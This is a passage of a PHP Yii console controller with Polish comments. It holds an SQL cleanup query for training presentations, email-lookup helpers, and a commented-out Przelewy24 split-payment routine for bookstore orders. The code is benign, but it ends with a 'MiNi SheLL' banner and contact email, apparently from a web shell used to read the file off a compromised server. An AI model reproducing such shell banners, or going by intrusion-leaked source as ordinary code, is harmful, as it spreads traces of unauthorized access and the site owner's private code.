                                AND companies_presentations.status = 'aktywny' 
                    ) AS temp_table
                INNER JOIN trainings ON trainings.id_company = temp_table.id_company 
                INNER JOIN trainings_has_portals ON trainings_has_portals.id_training = trainings.id_training  
                WHERE
                    trainings.status = 'aktywny' 
                    AND trainings_has_portals.id_portal = temp_table.id_portal 
                    AND NOT EXISTS (
                        SELECT trainings_dates.id_date 
                        FROM trainings_dates 
                        WHERE trainings_dates.id_training = trainings.id_training AND trainings_dates.date_end >= cast(now() as date)
                    )
                ";
        
        $idsCompaniesPresentationsTabs = Yii::$app->db->createCommand($sql)->queryColumn();
        
        if(empty($idsCompaniesPresentationsTabs)) {
            $this->stdout('Brak danych do przetworzenia.');
            return ExitCode::OK;
        }
        
        $models = \common\models\CompaniesPresentationsTabs::find()->where(['id_company_tab' => $idsCompaniesPresentationsTabs])->all();
        foreach($models as $model) {
            $model->or_empty = 1;
            $model->save();
        }
        
        return ExitCode::OK;        
    }
    
    protected function getEmailsForOperatorsOrPortalPatrons($idCompany, $idPatron = null)
    {
        $emails = [];
        
        $idsOperators = \common\models\OperatorsHasCompanies::find()
                ->select(['id_user'])
                ->where(['id_company' => $idCompany])
                ->column();
        if(empty($idsOperators) && !empty($idPatron)) {
            $idsOperators = [(int)$idPatron];
        }

        if(!empty($idsOperators)) {
            $operatorsEmails = \common\models\UsersContactData::find()
                ->select(['users_contact_data.data_value'])
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1,
                    'users_contact_data.id_user' => $idsOperators
                ])->column();
            $emails = array_unique($operatorsEmails);
        } 
        
        return $emails;        
    }
    
    protected function getLukaszEmail()
    {
        return \common\models\Users::find()
                ->select(['users_contact_data.data_value'])
                ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1,
                    'users.login' => 'vm_lukasz'
                ])
                ->scalar();
    }
    
    protected function getEmailByLogins($logins)
    {
        return \common\models\Users::find()
                ->select(['users_contact_data.data_value'])
                ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1,
                    'users.login' => $logins
                ])
                ->column();
    }
    
    //kopia na wypadek, gdyby jednak wykonywali dzielenie płatności częściowo
//    public function actionIncompleteDispatchedP24TransfersForBookstoreOrders()
//    {
//        $modelsPayments = \common\models\UsersPayments::find()
//                ->where([
//                    'subject_type' => \common\models\types\PaymentSubjectType::BOOKSTORE_ORDER,
//                    'split_status' => \common\models\types\PaymentStatus::STARTED
//                ])
//                ->all();
//        if(empty($modelsPayments)) {
//            $this->stdout('Brak niedokończonych podziałów płatności dla zamówień w księgarni.');
//            ExitCode::OK;
//        }
//        
//        $p24 = Yii::$app->przelewy24New;
//        foreach($modelsPayments as $modelPayment) {
//            $transaction = Yii::$app->db->beginTransaction();
//            
//            $p24->clearAll();        
//            $idsOrdersWaitingForProcessByMerchants = [];
//            $idsMerchantsForUndispatchedTransfers = [];
//            $details = [];
//            $orAnyPaymentAlreadyExecuted = false;
//            foreach($modelPayment->params['payments'] as $item) {
//                if($item['or_executed'] === 1) {
//                    $orAnyPaymentAlreadyExecuted = true;
//                    continue;
//                }
//                $details[] = [
//                    'orderId' => (int)$modelPayment->external_id,
//                    'sessionId' => $modelPayment->session_id,
//                    'sellerId' => (int)$item['merchant_id'],
//                    'amount' => (float)$item['amount']
//                ];
//                foreach($item['ids_orders'] as $idOrder) {
//                    $idsOrdersWaitingForProcessByMerchants[(int)$item['merchant_id']][] = $idOrder;
//                }
//            }
//            if(!$orAnyPaymentAlreadyExecuted) {
//                //równowartość opłaty za płatność elektroniczną przelewana na konto Vertica
//                $details[] = [
//                    'orderId' => (int)$modelPayment->external_id,
//                    'sessionId' => $modelPayment->session_id,
//                    'sellerId' => (int)$p24->merchantId,
//                    'amount' => (float)$p24->costOfTransfer
//                ];
//            }
//
////            $batchId = crc32(uniqid());
//            $batchId = \common\models\CollectionsSequences::getNextKey('przelewy24_batch_id');
//    //        $batchId = $modelPayment->id_payment;
//
//            $flag = true;
//            $flag = $flag && $p24->setPostData('batchId', $batchId);
//            $flag = $flag && $p24->setPostData('details', $details);
//            if(!$flag) {
//                list($errorCode, $errorMessage) = $p24->getError(false);
//                $this->stderr($errorMessage.' ('.$errorCode.')');
//                $transaction->rollBack();
//                return ExitCode::DATAERR;
//            }
//
//            $flag = $p24->dispatchTransaction();
//            if($flag === false) {
//                list($errorCode, $errorMessage) = $p24->getError(false);
//                if($errorCode === \common\components\Przelewy24New::CODE_INCOMPLETE_SPLIT_TRANSFER) {
//                    $idsMerchantsForUndispatchedTransfers = array_map('intval', explode(',', $errorMessage));          
//                } else {
//                    $this->stderr($errorMessage.' ('.$errorCode.')');
//                    $transaction->rollBack();
//                    return ExitCode::DATAERR;
//                }
//            } 
//
//            $params = $modelPayment->params;                
//            foreach($params['payments'] as $key => $paymentDetails) {
//                if(!in_array($paymentDetails['merchant_id'], $idsMerchantsForUndispatchedTransfers)) {
//                    $params['payments'][$key]['or_executed'] = 1;
//                } 
//            }                
//            $modelPayment->params = $params;
//            if(empty($idsMerchantsForUndispatchedTransfers)) {
//                $modelPayment->split_status = \common\models\types\PaymentStatus::COMPLETED;
//            }
//            $modelPayment->save(false);
//
//            if(!empty($idsMerchantsForUndispatchedTransfers)) {
//                foreach($idsMerchantsForUndispatchedTransfers as $idMerchant) {
//                    unset($idsOrdersWaitingForProcessByMerchants[$idMerchant]);
//                }
//            }
//
//            if(!empty($idsOrdersWaitingForProcessByMerchants)) {
//                $modelsOrders = \common\models\BookstoreOrders::find()
//                        ->where([
//                            'status' => [\common\models\types\BookstoreOrderStatus::NEW_CREATED, \common\models\types\BookstoreOrderStatus::ACCEPTED],
//                            'id_order' => $idsOrdersWaitingForProcessByMerchants
//                        ])->all();
//                if(!empty($modelsOrders)) {
//                    foreach($modelsOrders as $modelOrder) {
//                        $modelOrder->status = \common\models\types\BookstoreOrderStatus::IN_PROGRESS;
//                        $modelOrder->save(false);
//                    }
//                }
//            }
//            $transaction->rollBack();
////        $transaction->commit();
//        }
//        
//        return ExitCode::OK;
//    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com